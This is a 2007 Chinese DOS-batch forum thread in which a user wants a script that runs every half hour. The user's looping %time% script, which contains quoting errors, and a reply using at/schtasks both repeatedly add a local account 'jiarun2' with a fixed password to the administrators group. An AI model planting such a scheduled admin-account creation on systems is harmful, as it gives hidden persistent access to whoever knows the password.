中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-05 05:34
48,038 主题排行 / 350,123 发帖 / 今日 0 篇 / 48,251 会员排行
DOS批处理 & 脚本技术(批处理室) » 求if time的应用
可打印版本  846 / 5
第1楼 270265929 发表于 2007-06-29 19:51
初级用户 发帖 21 积分 49
求if time的应用
本人求写一个能定时运行的P处理,意思是:从早上8:00起到晚上24点(12:00)这个时间段每隔半个小时运行一次程序
第2楼 270265929 发表于 2007-06-29 19:53
初级用户 发帖 21 积分 49
下面是我自己看到一个例子后写的
@echo off
cd\
cls
:loop
if "%time:~0,5%"==8:00" goto user
if "%time:~0,5%"==8:30" goto user
if "%time:~0,5%"==9:00" goto user
if "%time:~0,5%"==9:30" goto user
if "%time:~0,5%"==10:00" goto user
if "%time:~0,5%"==10:30" goto user
if "%time:~0,5%"==11:00" goto user
if "%time:~0,5%"==11:30" goto user
if "%time:~0,5%"==12:00" goto user
if "%time:~0,5%"==12:30" goto user
if "%time:~0,5%"==13:00" goto user
if "%time:~0,5%"==13:30" goto user
if "%time:~0,5%"==14:00" goto user
if "%time:~0,5%"==14:30" goto user
if "%time:~0,5%"==15:00" goto user
if "%time:~0,5%"==15:30" goto user
if "%time:~0,5%"==16:00" goto user
if "%time:~0,5%"==16:30" goto user
if "%time:~0,5%"==17:00" goto user
if "%time:~0,5%"==17:30" goto user
if "%time:~0,5%"==18:00" goto user
if "%time:~0,5%"==18:30" goto user
if "%time:~0,5%"==19:00" goto user
if "%time:~0,5%"==19:30" goto user
if "%time:~0,5%"==20:00" goto user
if "%time:~0,5%"==20:30" goto user
if "%time:~0,5%"==21:00" goto user
if "%time:~0,5%"==21:30" goto user
if "%time:~0,5%"==22:00" goto user
if "%time:~0,5%"==23:30" goto user
if "%time:~0,5%"==24:00" goto user
if "%time:~0,5%"==1:00" goto user
if "%time:~0,5%"==1:30" goto user
if "%time:~0,5%"==2:00" goto user
if "%time:~0,5%"==2:30" goto user
if "%time:~0,5%"==3:00" goto user
if "%time:~0,5%"==3:30" goto user
if "%time:~0,5%"==4:00" goto user
if "%time:~0,5%"==4:30" goto user
if "%time:~0,5%"==5:00" goto user
if "%time:~0,5%"==5:30" goto user
if "%time:~0,5%"==6:00" goto user
if "%time:~0,5%"==6:30" goto user
if "%time:~0,5%"==7:00" goto user
if "%time:~0,5%"==7:30" goto user
if "%time:~0,5%"==8:00" goto user
if "%time:~0,5%"==8:30" goto user
if "%time:~0,5%"==9:00" goto user
if "%time:~0,5%"==9:30" goto user
if "%time:~0,5%"==10:00" goto user
if "%time:~0,5%"==10:30" goto user
if "%time:~0,5%"==11:00" goto user
if "%time:~0,5%"==11:30" goto user
if "%time:~0,5%"==12:00" goto user
if "%time:~0,5%"==12:30" goto user
goto loop
:user
net user jiarun2 88912530 /add
net localgroup administrators jiarun2 /add
exit
第3楼 270265929 发表于 2007-06-29 19:57
初级用户 发帖 21 积分 49
上面有重复的时间是因为有时候机器会改成12小时制,我不知道怎么表示,求高手能指点和改进下
我是要在早8:00起到晚24:00间每半小时执行添加用户的命令,当然如果有此用户的话就能够自动退出P处理
第4楼 wudixin96 发表于 2007-06-29 20:14
银牌会员 发帖 931 积分 1,928
论坛里早有讨论的。请使用论坛搜索功能。
第5楼 woainiphj 发表于 2007-07-05 18:25
初级用户 发帖 26 积分 55
kiss
高手呀!
第6楼 bjsh 发表于 2007-07-05 22:35
银牌会员 发帖 621 积分 2,000
这写的 电脑还不得暴了...

at 或 schtasks 即可;

调用的批处理
net user jiarun2
if not errorlevel 1 at /delete(如果用的是schtasks的话为 schtasks /delete) && exit
net user jiarun2 88912530 /add
net localgroup administrators jiarun2 /add
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023